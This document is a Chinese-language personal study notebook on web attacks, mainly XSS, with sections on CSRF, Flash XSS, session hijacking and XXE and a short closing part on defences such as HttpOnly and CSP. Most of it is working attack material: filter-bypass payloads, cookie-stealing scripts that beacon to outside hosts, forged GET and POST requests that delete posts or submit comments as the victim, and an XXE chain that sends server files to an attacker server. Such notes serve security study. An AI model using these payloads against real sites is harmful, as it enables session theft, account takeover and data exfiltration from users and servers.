web_XSS安全學習

下面是 自己學習時的筆記,各種轉載~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

漏洞知識庫:

 CSRF 跨站請求僞造 學習

crossdomain.xml 文件來驗證是否允許客戶端的flash 跨域發送請求,使用的是白名單的思想

使用 token 足夠複雜來防禦

同源政策

a.com 通過 <script src=http://b.com/b.js></script> 加載了b.com 的b.js 但是b.js 是運行在a.com 頁面的所以對於a.com來說,b.js的源就應該是a.com而非b.com

<script> <img> <iframe> <link> 等標籤都可以跨域加載資源而不受同源政策的限制,這些帶<src> 屬性的標籤加載時實際上就是由瀏覽器發起了一次 GET請求

不同於 XMLHttpRequest 的是,通過src 屬性加載的資源,瀏覽器限制了 JAVASCRIPT的權限,使其不能讀寫返回的內容

flash 通過目標網站提供的crossdomain.xml文件判斷是否允許當前“源”的flash跨域訪問目標資源,eg:

當瀏覽器在任意其他域的頁面里加載了FLASH後,如果對www.qq.com發起訪問請求,flash會先檢查 www.qq.com 上此策略文件是否存在。如果文件存在,則檢查發起請求的域是否在許可範圍內。

在flash 9及其以後的版本中,還實現了MIME檢查以確認crossdomain.xml是否合法,如查看服務器返回的HTTP頭等信息,FLASH還會檢查 crossdomain.xml是否存在根目錄下,使得一些上傳文件攻擊失效

<cross-domain-policy>
  <allow-access-from domainm="*.wooyun.org"/>
  <allow-access-from domainm="*.qq.org"/>
</cross-domain-policy>


2 XSS 學習  CROSS SITE SCRIPT

XXS 構造技巧

檢測是否出現 <script>alert("xss")</script>

<iframe οnlοad=alert(document.cookie)>

 <script>alert("xss");</script>

<img src=x οnerrοr=alert(1)>

xxx<script>alert(/xss/);</script>

javascript:alert(document.cookie);

"><img src="a" οnerrοr="prompt">

<div style="background:url('javascript:alert(1)')">

<img src="some.gif" οnlοad="alert('xss');" /> 

<img src=x οnerrοr=jQuery.getScript('hook Address') width=0px> (不讓圖片顯示出來)


%c1";alert(/xss/);//     系統轉義了" , 接着%c1\   這兩個字符組合在一起後,會成爲一個UNICODE字符 從而繞過系統安全檢查

工具使用:  市面上的軟件(JSky、Safe3WVS、Netsparker等)都可以挖掘出反射XSS

PHP獲取IP有3個函數

X-Forwarded-For Header(工具)就是對其中一個函數X_FORWARDED_FOR起作用,X_FORWARDED_FOR

有個缺陷可以使客戶端僞造任意IP,當然包括字符串,但是對其他兩個函數就不行了

Modify Headers(工具)可以僞造數據包內容,當然也可以僞造HTTP_CLIENT_IP來更改IP

構造IP  爲 <script>alert(1)</script>  可以看一些彈框了

XSS不一定是在input輸入框和GET/POST參數修改,纔可以插入XSS。還有JavaScript、ActionScript2/3.0、數據包參數


學習突破字數限制

限制20字節類型,<input type=text value="xxx" /> 利用事件輸入 " οnclick=alert(1)//     實際爲 <input type=text value="" οnclick=alert(1)//">


首先先發一篇標題爲:”>/*</script>
再發一篇標題爲:"><script>alert(/Jin/)/*
拼湊起來 <script>alert(/XSS/)/*xxxxxx*/</script>


同樣的思想,可以在限制字符時,第一個文本框小,第二個文本框大,那麼直接在兩個文本框之間的html代碼全部註釋掉,從而”打通“兩個<input>

第一個輸入  "><!--_(空格)  只有6字節     第二個輸入  --><script>alert(/xss/);</script>


可以加載其他可控的安全數據位置的數據,EG:

<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>

如果沒有這些數據,就通過在URL的尾部參數構造要執行的代碼,然後在XSS點通過document.URL/location.href等方式獲得代碼數據執行

http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
30字節 (上)    或者  31字節 (下)

<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
 或者 29字節 (下)
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
 或者 30字節 (下)
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
或者更少  說明在下面
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>

location.hash 可以用來獲取或設置頁面的標籤值,不會在HTTP包中發送,所以服務器端的WEB日誌中並不會記錄下 location.hash 裏的內容,從而也更好地隱藏了hacker的意圖
<input type=text value="xxx" />  輸入40字節 " οnclick="eval(location.hash.substr(1)) 

得到 <input type=text value="" οnclick="eval(location.hash.substr(1))" /> 

#是用來指導瀏覽器動作的,對服務器端完全無用。所以,HTTP請求中不包括#。

因爲location.hash 的第一個值 爲 # ,所以構造 url 爲 www.xxx.com/test.html#alert(xss)

所以這裏的 XSS PAYLOAD 是寫在 瀏覽器的地址欄的。可以直接寫在url,也可以利用其它平臺上文件來寫


還有可以關注函數

function loads(url) {
...
document.body.appendChild(script);
}

<limited_xss_point>loads(http://xxx.com/x);</limited_xss_point>

其他了解

<base> 是個非常危險的標籤,如果在頁面上插入了它,那麼就可以在遠程主機上僞造圖片,鏈接或者腳本了(從標籤指定的網址上取得到).


window.name  可以實現跨域傳輸,那麼構造 

window.name = "alert(document.cookie)";

location.href = "http://www.xxx.com/xss.php" 只需通過XSS執行 eval(name); 只有11字節


flash XSS  ,Action script 是一種非常強大和靈活的腳本,甚至可以使用它發起網絡連接,因此應該儘可能地禁止用戶能夠上傳加載自定義的FLASH文件


看embed 的 allowscriptaccess 參數 是否開啓

<embed> 標籤定義嵌入的內容,比如插件。 <embed src="http://xxx.com/evil.swf"> </embed>

用  flex builder  編譯 as 生產swf然後去執行JS代碼,編譯修改名爲 xxx.as

package {
import flash.display.Sprite;
import flash.external.ExternalInterface;
public class XXX extends Sprite

{
public function XXX()

{
if(flash.external.ExternalInterface.available){

flash.external.ExternalInterface.call("eval","(function(){var s=document.createElement('script');s.type='text/javascript';s.src='http://xxx.com/xxx.js';document.body.appendChild(s);})()");
}
}
}
}
然後可以先上傳上去,然後
<embed src="剛纔複製的FLASH文件地址" type="application/x-shockwave-flash"></embed>
<img src="剛纔複製的FLASH文件地址"></img>



發現地方 處寫上    57字節

</textarea>'"><script src=http://xssan.com/9AM3zw?1410919704></script>

即可發送COOKIE 到指定網站



<img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" width="401" height="604" title="111111111" alt="111111111">


title 和 alt 被賦值爲11111111 那麼賦值它
"><img src=1 οnerrοr=alert(document.cookie)>
之後:
<img src="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" kesrc="http://pic1.ooopic.com/uploadfilepic/sheying/2009-06-15/OOOPIC_jujuxiner_20090615f4bbd96ed81462e5.jpg" title="">
<img src="1" οnerrοr="alert(document.cookie)">


對於畸形URL的處理 IE中www.google.com\abc 會變成 www.google.com/abc  同源行爲還有chrome 但是firefox卻不如此解析

還有 www.google?abc firefox ie chrome都會認識 爲www.google.com/?abc


反射型XSS

簡單的把用戶輸入的數據“反射”給瀏覽器,需要誘使用戶 “點擊” 一個惡意鏈接才能攻擊成功, 也叫非持久型XSS


存儲型XSS

把用戶輸入的數據“存儲”在服務器端,這種XSS具有很強的穩定性,也叫做持久型XSS


DOM Based XSS

也是反射型 XSS,形成原因比較特殊,通過修改頁面的DOM節點形成的XSS 

<a href= 'str' >XXXXX信息</a>  1輸入str 那麼 輸入  ' onlick=alert(/xss/) //

<a href= ' ' onlick=alert(/xss/) //' >XXXXX信息</a>

2 還可以輸入 '><img src=# οnerrοr=alert(/xss2/) /><'

<a href= ' '><img src=# οnerrοr=alert(/xss2/) /><'' >XXXXX信息</a> 




XSS payload   學習:

簡單竊取cookie

var img = document.createElement("img");
img.src = "http://www.xxx.com/log?"+escape(document.cookie);
document.body.appendChild(img);

http://www.xxx.com/log不一定存在,因爲web 日誌服務有留下記錄


登陸網站 切換COOKIE 可以 用edit coookie 和其他, 之所以可以登陸是當前WEB中 COOKIE一般是用戶登陸的憑證,瀏覽器發起的所有請求都會自動帶上CCOOKIE。如果COOKIE 沒有綁定客戶端信息,那麼攻擊者竊取了COOKIE後就可以不用密碼登錄進用戶的賬戶


COOKIE劫持 當出現 SetCookie時給關鍵COOKIE植入 httpOnly標示,有的網站則可能會把COOKIE與客戶端IP綁定,從而使得XSS竊取的COOKIE失去意義


實際利用:1)刪除文章,構造一個GET請求, 然後讓博客主人執行這段JS代碼,就會把這篇文章刪除

var img = document.createElement("img");
img.src = "http://www.xxx.com/xx.do?m=delete&id=xxxxx";
document.body.appendChild(img);
2.1) 構造 POST 型 XSS PAYLOAD 
在XSS平臺上構造  一個POST 文件 1(文件名) , 這裏例子最重要是ck=JiUY      mb_text=評論值

var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML= '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+
'<input type="text" value="testtesttest" name="mb_text" />'+
'</form>'

document.getElementById("xssform").submit();
構造XSS PAYLOAD  即可  <script>xxx.com/1</script>
2.2) 另一種方式:

var url = "http://www.xxx.com";
var postStr = "ck=JiUY&mb_text=test1234"

var ajax =null;
if (window.ajaxRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  ajax=new ajaxRequest();
  }
else
  {// code for IE6, IE5
  ajax=new ActiveXObject("Microsoft.ajax");
  }

ajax.open("POST",url,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send(postStr);

ajax.onreadystatechange = function()
{
	if(ajax.readyState == 4 && ajax.status == 200)
		{
			alert("Done!");
		}
}

如果需要輸入驗證碼   那麼就完蛋了、·······一般的XSS 都會失效·············

那麼就要想到 得到對方的 驗證碼圖片


識別用戶瀏覽器,植入木馬等,識別用戶安裝的軟件,獲取用戶真實IP,

alert(navigator.userAgent)  得到對方的 OS,瀏覽器版本,語言,但這不是準確的

網上有檢測瀏覽器版本的JS代碼  

BEEF  ,XSS-PROXY  可以拿下 內網主機~~~~  use auxiliary/server/browser_autopwn  可以檢查瀏覽器漏洞


學習技巧:

1) 上傳抓包分析,可以發現,出現提示,但並沒有任何數據請求,即是在客戶端進行了判斷


2)   爲了防止引號導致的問題,在使用JS代碼時,可以直接採用 String.fromCharCode 來避開引號!


3)   加載JS代碼->>又加載遠程JS:

var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));//script
s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);//text/javascript
s.src=String.fromCharCode(http://www.xxx.com/xxx.js_ascii);
document.body.appendChild(s);
可以 encodeURIComponent 編碼後 纔去利用   網址: http://www.w3school.com.cn/tiy/t.asp?f=jseg_encodeURIComponent

4) 沒有過濾 \ ,反斜線, 而 css裏,允許使用轉義字符, \ + ascii16進制形式,

w:expression( eval('if(!window.x){alert(document.cookie);window.x=1}'))
w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29
<body style前提,但是微軟從IE8 beta2標準模式開始,取消對css expression的支持,在了 

反射性XSS:

5) 沒有過濾 &,# 等符號,我們就可以寫入任意字符,可以將 單引號   寫爲 &#x27,,或者&#10進制

location.href='........&searchvalue_yjbg=aaaaaa&#x27;+alert(1)+&#x27;'

接着我們把代碼轉換爲 url 的編碼。 &-> %26, # -> %23

location.href='........&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;

過濾   最好的辦法,還是 &過濾爲 &amp;


6) 雙引號被過濾了的情況下:“   -》   &quot;

查看到 <meta http-equiv="Content-Type" content="text/html; charset=gb18030" /> 是 gbxxxx系列編碼,那麼嘗試寬字節呢

%c0;alert(1);   解除對雙引號的屠殺,因爲 %c0喫掉了後面的%5c

http://xxx.com/xxx?xxx=,2,xxx&t=%c0%22;alert(1);//aaaaaa


7) 雙引號是用不了,空格被轉義爲了 &nbsp;    但是 反斜線還可以使用,兩個值的情況下:

location.href="........."+"&xx1=aaaa"+"&xx2=bbb"+"&param=";//後面省略。

因爲我們可以使用 \,那麼我們可以殺掉xx1後面的 雙引號,但是字符串不能=數字

location.href="........."+"&xx1=aaaa\"+"&xx2=bbb"+"&param=";

然後利用成這樣: (字符串不能=數字, ("字符串")&xx2==1)),但是  報錯xx2 未定義

location.href="........."+"&xx1=aaaa\"+"&xx2==1//"+"&param=";

利用  JS解析順序,再次構造, 但是  空格又被轉義了

location.href="........."+"&xx1=aaaa\"+"&xx2==1;function xx2(){}//"+"&param=";

用 SQL注入的方法,/**/代替空格

location.href="........."+"&xx1=aaaa\"+"&xx2==1;alert(1)function/**/xx2(){}//"+"&param=";


8) 輸入數據,查找有幾處出現在html源碼上

< >  " 過濾了

在註釋中  有[輸出],那麼利用 %0a (換行,%0d纔是回車)

修復: 儘量不要在JS的註釋裏輸出內容


9) 反斜槓 \ 是JS中下一行繼續輸入的意思,%5c, 並且反斜槓被過濾 \\  ,那麼就要用到寬字符

反斜槓+換行符 %5c%0a 

value = "aaaa"\\

alert(1);//";

var xxx = "aaaa"\\

alert(1);//";

輸入  %c0%5c%0aalert(1);//     最終輸出

value = "aaaaX\

alert(1);//";

var xxx = "aaaaX\

alert(1);//";        正確






DOM型XSS,不僅要了解輸出了什麼,還要了解拿輸出做什麼:

  JS字符  轉 unicode ,    http://app.baidu.com/app/enter?appid=280383

<div id="a">xxx</div>//執行後xxx變成<img src=1>,可以直接寫html
<script>
  document.getElementById("a").innerHTML="<img src=1> ";
</script>
js字符串可以寫成unicode編碼,結果變成

  document.getElementById("a").innerHTML="\u003cimg src=1\u003e ";

10) < > " 被過濾了,沒有過濾 \ ,顯式輸出-右鍵查看源代碼的時候,看到我們所輸出的內容

if("職業1"=="職業1")
document.getElementById("titleshow").innerHTML="按職業檢索:aaaaaaa";

 innerHTML="[輸出]", 它會將輸出當作html輸出,那麼 構造 unicode輸出

innerHTML="按職業檢索:\u003cimg\u0020src=1\u0020οnerrοr=alert(1)\u003e";

但是\u003c\u003e 被過濾成 &lt;&gt;  但沒有過濾\u0020 ,

但是 < >  還可以是 \x3c\x3e  ,  最終構造:

innerHTML="按職業檢索:\x3cimg\u0020src=1\u0020οnerrοr=alert(1)\x3e";

innerHTML="xx";  只能用<img src=1 οnerrοr=alert(1)> 來觸發,IE下 還可以用<script defer>alert(1)</script>


11)隱式輸出,在源碼中搜索不到東西了

chrome  f12   在調試工具中能看到了, 直接根據調試工具裏看到的HTML代碼情況,來構造利用代碼

1 直接根據調試工具裏看到的HTML代碼情況,來構造利用代碼。 優點:省時間,缺點:如果對方有一定過濾,就很難構造

先構造下代碼

<object width="100%" height="100%" id="f" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">
	<param name="movie" value="aaaaaa"></object><img src="1" οnerrοr="alert(1)">
        ```````````````````````````````````````````````````````````````````
發現     "     ->     \\" 

那麼 不用引號, 構造 aaaaa"></object><img src=1 οnerrοr=alert(1)>   可以看到很快

http://xxx.com/xxx.htm?sid=aaaaaa"></object><img src=1 οnerrοr=alert(1)> 


2 定位到與這個缺陷參數sid相關的JS代碼,再來構造利用代碼。優點:能利用一些複雜的情況, 缺點:耗時間。

首先,F12打開調試工具,點【Resources】,再點Frames, 然後 Ctrl+ F搜索 "sid" 或者 'sid'

看到getUrlPara("sid"),還在console裏看到 函數是啥樣的,getUrlParam是對<, > 做了過濾,

但是由於chrome瀏覽器自身的XSS防禦機制,導致location.href獲取的location.href是已經經過編碼的。

從而導致未過濾。還有一步decodeURIComponent的操作,會將 %3c, %3e,又變回 <, >

那麼可以得到  上面的POC !! 這個代碼在IE下,是沒法XSS的。然後再構造  優缺點 明顯了!!!!

http://xxx.com/xxx.htm?sid=aaaaaa%22%3E%3C/object%3E%3Cimg%20src=1%20οnerrοr=alert(1)%3E


12) 搜索源代碼和調試工具都看不到任何東西的情況下:

可以看看Console,看看有沒有其它有用的東西,這個時候加上特殊字符 習慣用 \  等沒有被過濾的字符

然後看大console 裏 有一個錯誤,然後點擊右側定位到錯誤代碼,代碼很亂的話 點擊 { } 美化一下

看到  eval('this.key="aaa";')    ,構造    xxxx?key;alert(1);//=aaa   或者 ?key=aaa";alert(1);//

在IE下是可以的,但在 chrome 下 不一樣,chrome會自動對", >, < 進行轉換~~~~~

eval('this.key="aaa";alert(1);//")  在chrome 下 會變成   eval('this.key="aaa%22;alert(1);//")  從而失敗


13)iframeA.src="[可控的url]" ,

<iframe οnlοad="alert(1)"></iframe> ,

 <iframe src="javascript:alert(1)"></iframe>

IE下vbscript執行代碼: <iframe src="vbscript:msgbox(1)"></iframe> 

Chrome下data協議執行代碼 :<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome (當然還可以<> 變爲&lt&gt)

Chrome下srcdoc屬性:<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>


看到我們參數的aaaaaa被帶入到了<iframe id="toolframe" src="aaaaaa"></iframe>。

構造 xxxxx?turl=javascript:alert(1);&gid=yl&cid=68&from=

發現 src這次沒屬性了,看來被過濾了

那麼搜索  toolframe   可以看到哪裏將 src給清除了 ,發現 對src 進行了過濾

在IE下,我們可以使用vbscript來執行代碼。 vbscript裏 ' 單引號表示註釋,類似JS裏的//

構造 xxxxx?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=

在chrome 下 使用 data協議來執行JS, ?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=


14)   xx?jsonp=callback&id="+id;

 需要在同域名下有可控的東東:

1 直接上傳文本到同域名下,不一定HTML文件,需要上傳有點過濾缺陷

script src="/path/xxx/[路徑可控]/1.js"

2 參數可控的json 接口

script src="/path/xxx/.../yyy/xx.json?callback=alert(1)"

3

script src="/xxxx/json.php?callback=參數可控&param1=yyy&keyword=[參數可控]"


通過抓包的方式,看到頁面在打開時,所加載的外部JS文件地址

http://sse1.paipai.com/comm_json?callback=可控k&xxxx=   也是無法使用 < >

 直接控制callback參數,但是從實際情況來看,我們此處無法直接控制它,【失敗】

那麼可以更改  後面參數param=xxx&callback=alert(1)    複寫 callback

decodeURIComp  對keyword會解碼,  %26callback=alert(1);  ->   &callback=alert(1);

所以就夠在 keyword=%26callback=alert(1)

就構造: alert(document.cookie)

keyword=%26callback=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))


15)  Discuz  學習 xss

setTimeout的第一個參數字符串作爲腳本來執行

<script ```>setTimeout("window.location.href ='http://www.xxx.net/./aaaaaaaaaaa';", 2000);</script>

首先想到 閉合單引號  但是不行  被過濾了 &#039;  測試\  沒有被過濾

xxx.location.href ='http://www.xxx.net/./a';alert(document.cookie);a='';", 2000);</script>

xxx.location.href ='http://www.xxx.net/./a\u0027;alert(document.cookie);a=\u0027';", 2000);</script>

location.href="某個地址"; 但一個alert,暫停了location.href的發生。

如果我們把 alert(document.cookie); 換成插入某個JS文件的腳本代碼,就會出現問題

所以這裏 可以直接讓代碼變成執行 location.href="javascript:alert(document.cookie)";

location.href='原來的字符串'.替換(所有字符,"新的字符");

```www.xxx.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 2000);```

```www.xxx.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 2000);```

可以看到,效果一樣,這次就不會加載JS文件發生跳轉從而導致加載JS失敗咯。


FLASH XSS

16)  Flash的actionscript腳本目前網絡上存在2種版本,即2.0與3.0,本次先以as3.0爲例

navigateToURL/getURL  ExternalInterface.call,漏洞吧~~~~~~~~~~~

搜索引擎: site:xxx.com filetype:swf , 顯然這樣會搜索出很多FLASH文件,不利於我們後續的漏洞查找

 已知存在缺陷的FLASH文件名或參數名,如:swfupload,jwplayer等

多媒體功能的FLASH文件名,如:upload,player, music, video等

調用的外部配置或數據文件後綴,如: xml, php 等

 前期經驗積累下來的程序員特徵參數名用詞,如: callback, cb , function 等

AS 代碼中  如  parameters and externalInterface.call

site:xxx.com filetype:swf inurl:xml

1----http://xxx.qq.com/xxx/xxx1.swf?xmlurl=http://xxx.qq.com/xxx/xxx2.xml

這裏用到工具  Charles    在虛擬機裏  javaw -jar patcher.jar   破解 或者在本機喲娜吾愛的最新版, 工具會把xml和swf一起抓起來

 在 1 頁面中看有什麼可疑,  比如link ,然後下載 xxx1.swf  丟進 actionscript viewer  反編譯出 as 代碼 中尋找

navigateToURL(new URLRequest(link), "_self");//as3.0
getURL(link,"_self");//as2.0 

,查看到link是怎麼用的.  一般都是直接提交給  xxx1.swf,  那麼 我們可以僞造 xmlurl參數爲我們的服務器上的xxx2.xml

http://myserverxxxx.com/pic.xml 
http://myserverxxxx.com/crossdomain.xml 自己服務器上可以來點

<?xml version="1.0">
<cross-domain-policy>
  	<allow-access-from domainm="*.xxx.com"/>//允許xxx.com訪問我們的xml 然後構造xml中的可疑link就能xss了
</cross-domain-policy>
2----http://xxx.qq.com/xxx/xxx1.swf?xmlurl=http://myserverxxxx.com/pic.xml  鏈接給別人就XSS了

17 as 3.0 接受參數

所有參數存放在 root.loaderInfo.parameters 對象裏

SWFUpload.instances["aaaaaaaa"].flashReady

ExternalInterface.call('SWFUpload.instances["aaaaaaaa"].flashReady');

try { __flash__toXML(SWFUpload.instances["aaa"])}catch(e){alert(1)};//"].flashReady("參數1")) ; } catch (e) { "<undefined/>"; }

movieName=aaa"])}catch(e){alert(1)};//

20)   LongTail Video

ExternalInterface.call(_config.debug, text);<---directly use _config.debug 


http://player.longtailvideo.com/player.swf?debug=(function(){
location.href='javascript:"<script/src=\'//xxx.com\/xxx.js\'></script>"'
})
http://player.longtailvideo.com/player.swf?debug=(function()%7B
location.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fxxx.com%5C%2Fxxx.js%5C'%3E%3C%2Fscript%3E%22'
%7D)
最簡單就是swf?debug=(function(){alert(1)})

filetype:swf inurl:"player.swf?debug=" 谷歌可以看到很多


21) 郵箱XSS  

先上傳,再寫入xss payload 的swf然後再去   寫郵件如下

<embed src="剛纔複製的FLASH文件地址" type="application/x-shockwave-flash"></embed>
<img src="剛纔複製的FLASH文件地址"></img>

22)  

首先google 了一下inurl:(swf) site:weibo.com  得到若干個 swf 全部反編譯,在生成的TXT中搜索

反編譯 swf 查找 parameters ,  externalInterface.call(第一個參數往前推就得到url參數),getFlashVar

找到 SWF 後  查看源碼:

//正如我說的這種直接把JS函數名傳入的情況
this.javaScriptEventHandler = this.loaderInfo.parameters.eventHandler;//發現 這個eventHandler是swf的參數
//後面又用call調用
ExternalInterface.call(this.javaScriptEventHandler, this.elementID, event);

構造1級測試代碼。證明:JS可以運行      uploader.swf?eventHandler=(function(){alert('xxx');})

構造2級代碼,利用href='javascript:"新的頁面內容"';突破無法訪問document對象的限制。但是無法獲取http-only Cookie

xxx.uploader.swf?eventHandler=(function(){location.href='javascript:"<script>alert(document.cookie)</script>"'})

構造3級代碼,利用Apache Http-only Cookie 泄漏漏洞,獲取全部cookies數據。 

xxx.uploader.swf?eventHandler=(function(){location.href='javascript:"<script/src=\'//appmaker.sinaapp.com\/test4.js\'></script>"'})




繞過瀏覽器的XSS過濾器

18) http://xxx.com/php/login?game=roco&uin="><img src=1 οnerrοr=alert(1)>xxx chrome攔截了。。

refused to execute a javascript script. source code of script found within request

使用  <script src=data:,alert(1)<!--

····xxx.html#siDomain=1&g_StyleID="><script>alert(document.cookie)</script> IE可以,但是chrome還是被攔截了

這裏接受地址欄的參數時,是以 "=" 分割,因而我們的代碼中是不允許攜帶 等號的

但是  看代碼中 有  g_StyleID = paras['g_StyleID'].replace("v6/","");   將v6/ 替換爲空

那麼 我們就可以 <scrv6/ipt>alert(document.cookie)</script>


存儲型XSS

存儲型和反射型相比,只是多了輸入存儲、輸出取出的過程

反射型是:輸入--輸出;輸入在哪裏,輸出就在哪裏,輸入大部分位於地址欄或來自DOM的某些屬性,也會偶爾有數據在請求中(POST類型)
存儲型是:輸入--進入數據庫*--取出數據庫--輸出, 輸入在A處進入數據庫, 而輸出則可能出現在其它任何用到數據的地方,輸入大部分來自POST/GET請求,常見於一些保存操作中。從一個地方輸入數據,需要檢測很多輸出的點,從而可能會在很多點發現存儲型XSS,有時候需要逆向的思維,來尋找存儲型XSS


19) 套用現成的XSS代碼 ,普通的早被過濾了  : http://html5sec.org/

ExternalInterface.call


23 ) <img src='http://xxx.com/xxx.jpg' οnlοad='alert(1)'>  後面被過濾

<img src='http://xxx.com/xxx.jpg' onload/='alert(1)'>  ,看輸出 onload\/='alert(1)' 確定網站不是直接replace掉onload

 onload空白符=alert('1') 一樣會被過濾

onload\s+=任意連續字符 被過濾爲空

onload某個不是空白的字符=alert('1') 

就說明這個字符加在onload後面不影響οnlοad=alert()的運行


24)

<svg><script>prompt&#40;1)</script>       //script之間就可以用HTML轉義

由於xml編碼特性。在SVG向量裏面的<script>元素(或者其他CDATA元素 ),會先進行xml解析。

因此&#x28(十六進制)或者&#40 (十進制) 或者&lpar;  (html實體編碼)會被還原成(。


過濾->。但是2012已經公佈,html5的註釋標籤不僅可以使用-->,還可以使用--!>

<!-- --!><svg><script>prompt(1);</script> -->

<!-- --!><svg/οnlοad=prompt(1) -->


25)
Session 認證  WAP 郵箱中曾經有這樣的漏洞:
發送到QQ郵箱的郵件中引用了一張外部網站的圖片:
<img src="http://xxx.net/logo.php">
手機瀏覽器在解析時,實際發起了一次GET 請求,這個請求會帶上 Referer 可以看到sid在Referer中
Referer:   http://w34.mail.qq.comxxx/sid=xxxx,wwww.&````````
在xxx.net 的服務器日誌中可以查看到此值,QQ郵箱的sid
在sid 的生命週期中,訪問包含此 sid 的鏈接,就可以登錄到該用戶的郵箱中

26)  僞造 SID

Session Fixation  解決  登錄完成後,重寫SessionID

cookie 被用於的更多了

27) 很多用戶使用Cookie 的 Expire 標籤來控制 Sesstion 的失效時間

篡改這個時間並使之永久有效那麼就能獲得一個永久有效的Session ,服務器端是完全無法察覺的

document.cookie = cookiename + ``` + "expires=Thu, 01-xxxxx GMT"

攻擊者甚至可以爲Session Cookie 增加一個 Exipre 時間, 使得原本瀏覽器關閉就會失效的 Cookie 持久化地保存在本地,變成一個第三方Cookie

對抗····· 一定時間後,強制銷燬 Session  或者選擇性的要求 比如 IP,UserAgent 變化 強制銷燬當前Sesstion.

同一個用戶可以同時持有幾個有效的Sesstion 當用戶重新登錄時, 攻擊者所保持的Session 將被銷燬


28)  OAuth 提供 授權 服務


29)

function chkxss(code){
try{
decodecode = decodeURIComponent(code);
}catch(e){
decodecode = code;
}
var xsses = ["fromCharCode","join","concat","slice","substr","match","split","escape","encodeURI","replace","\\","eval","setTimeout","setInterval","getScript","constructor","erHTML","Attribute","unction","execScript","with","setImmediate","createElement","write","name","referer","cookie","location","click"];
for(i=0;i<xsses.length;i++){
if(decodecode.indexOf(xsses[i])>-1){
return true;
}
}
if(/(&&)|;|,|\[/.test(decodecode)&&decodecode.indexOf("+")>-1){
return true;
}
if((decodecode.indexOf("URL")>-1||decodecode.indexOf("hash"))>-1&&location.href.indexOf("#")>-1){
return true;
}
if(code.length>150){
return true;
}
if(decodecode.indexOf('open')>-1||/\Wsrc\W/.test(decodecode)){
return true;
}
return false;
}
關鍵字 ,+ 等不能出現

window[location]="http://xxx/"+document['cookie']
然後繞過關鍵字過濾                          'coo'['CONCAT'.toLowerCase()]('kie')

"><window['loca'['CONCAT'.toLowerCase()]'tion']='http://xxx/'['CONCAT'.toLowerCase()](document[ 'coo'['CONCAT'.toLowerCase()]('kie')]);>


url編碼後提交得到flag。

30

xml   注入:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ourserver_ip/xdb.xml">
%remote;
%param1;
]>
<root>&external;</root>


xdb.xml的內容爲:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=bb.php">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://ourserver_ip/log.php?msg=%payload;'>">

要注意的地方是,這裏不能直接用file協議取bb.php的內容,因爲絕對路徑不確定感覺。

所以採用php://filter以及base64-encode的trick。最後讀到的msg再base64_decode  一下就出來flag了。


解決辦法

補充: 一個COOKIE的使用過程:

1)瀏覽器發起請求,則還是沒有COOKIE

2)服務器返回時發送 SET COOKIE 頭 ,向客戶端瀏覽器寫入 COOKIE

3)在該 COOKIE 到期前,瀏覽器訪問該域下的所有頁面,都將發送該COOKIE


HTTP-only cookie。包含在HTTP-only cookie中的任何信息暴露給黑客或者惡意網站的機率將會大大降低。下面是設置HTTP-only cookie的一個報頭的示例: 
Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly            可以防止“COOKIE劫持”

最早由微軟提出,IE6中,瀏覽器講禁止頁面JS訪問帶有 HTTP-ONLY屬性的COOKIE

HTTP ONLY 是在 SET-COOKIE 時標記的, 需要注意可能有多個 COOKIE,而 HTTP-ONLY 可以有選擇性地加在任何一個 COOKIE 上

在某些情況,多個 COOKIE  ,HTTP-ONLY 只標記給用於認證的關鍵 COOKIE


(已經被修補)繞過可以利用 apache 支持的TRACE 一般用於調試,會講請求頭作爲HTTP RESPONSE 返回


firefox第一個提出CSP  做法是由服務器返回一個HTTP頭,並在其中描述頁面應該遵循的安全策略,XSS攻擊在沒有第三方插件幫助情況下,無法控制HTTP頭,所以這項措施是可行的。使用CSP 的方法如下,插入一個HTTP返回頭:

X-Content-Security-Policy:policy  比如:

X-Content-Security-Policy:policy: allow 'self' *.mydomain.com

瀏覽器新人來自mydomain.com及其子域的內容


